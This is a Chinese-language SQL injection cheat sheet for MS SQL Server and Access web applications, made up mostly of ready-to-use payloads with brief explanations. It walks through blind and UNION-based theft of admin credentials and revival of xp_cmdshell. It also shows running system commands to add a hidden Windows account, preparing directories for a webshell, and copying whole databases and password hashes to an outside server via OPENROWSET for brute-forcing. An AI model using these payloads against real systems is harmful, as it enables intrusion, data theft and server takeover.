1.判斷有無注入點(diǎn)
' ; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號(hào)數(shù)目 如果遇到0< 返回正確頁面 1<返回錯(cuò)誤頁面說明帳號(hào)數(shù)目就是1個(gè)
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號(hào)里面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱password)>0)

5.猜解各個(gè)字段的長(zhǎng)度 猜解長(zhǎng)度就是把>0變換 直到返回正確頁面為止

and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 錯(cuò)誤
and 1=(select count(*) from admin where len(name)>5) 正確 長(zhǎng)度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯(cuò)誤 長(zhǎng)度是12
and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號(hào)的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號(hào)的第二位

就這樣一次加一個(gè)字符這樣猜,猜到夠你剛才猜出來的多少位了就對(duì)了,帳號(hào)就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  -- 

這個(gè)查詢語句可以猜解中文的用戶和密碼.只要把后面的數(shù)字換成中文的ASSIC碼就OK.最后把結(jié)果再轉(zhuǎn)換成字符.

'group by users.id having 1=1-- 
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')- 
UNION SELECT TOP 1 login_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- 

看服務(wù)器打的補(bǔ)丁=出錯(cuò)了打了SP4補(bǔ)丁

看數(shù)據(jù)庫連接賬號(hào)的權(quán)限，返回正常，證明是服務(wù)器角色sysadmin權(quán)限。

看xp_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--

xp_cmdshell被刪除，恢復(fù),支持絕對(duì)路徑的恢復(fù)

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己實(shí)驗(yàn)

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帳號(hào)

;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'--

創(chuàng)建一個(gè)虛擬目錄E盤：

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默認(rèn)Web站點(diǎn)" -v "e","e：\"'--

訪問屬性：（配合寫入一個(gè)webshell）

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

爆庫 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--

得到庫名（從1到5都是系統(tǒng)的id，6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數(shù)據(jù)庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個(gè)表 假設(shè)為 admin 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' 
and uid>(str(id))) 暴到UID的數(shù)值假設(shè)為18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個(gè)admin的一個(gè)字段,假設(shè)為 user_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
('id',...)) 來暴出其他的字段 
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名 

依次可以得到密碼。。。。。假設(shè)存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路徑

如果被限制則可以。

select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

查詢構(gòu)造：

SELECT * FROM news WHERE id=... AND topic=... AND .....

select 123;-- 
;use master;--

and 1<>(select count(email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- 
';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 

上面的語句是得到數(shù)據(jù)庫中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個(gè)用表叫ad
然后根據(jù)表名ad得到這個(gè)表的ID 得到第二個(gè)表的名字

枚舉出數(shù)據(jù)表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

這是將第一個(gè)表名更新到aaa的字段處。
讀出第一個(gè)表，第二個(gè)表可以這樣讀出來（在條件后加上 and name<>'剛才得到的表名'）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表，一個(gè)個(gè)的讀出，直到?jīng)]有為止。
讀字段是這樣：
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出錯(cuò)，得到字段名

1、 開啟遠(yuǎn)程數(shù)據(jù)庫
基本語法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
參數(shù): (1) OLEDB Provider name
2、 其中連接字符串參數(shù)可以是任何端口用來連接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫insert所有遠(yuǎn)程表到本地表。
基本語法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns
復(fù)制數(shù)據(jù)庫：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table2') select * from database..table2

復(fù)制哈西表（HASH）登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，就可以進(jìn)行暴力破解。

遍歷目錄的方法： 先創(chuàng)建一個(gè)臨時(shí)表：temp

';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （xp_dirtree適用權(quán)限PUBLIC）
寫入表：
語句1：and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
語句2：and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--

語句7：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
語句8：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--

把路徑寫到表中去：

;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
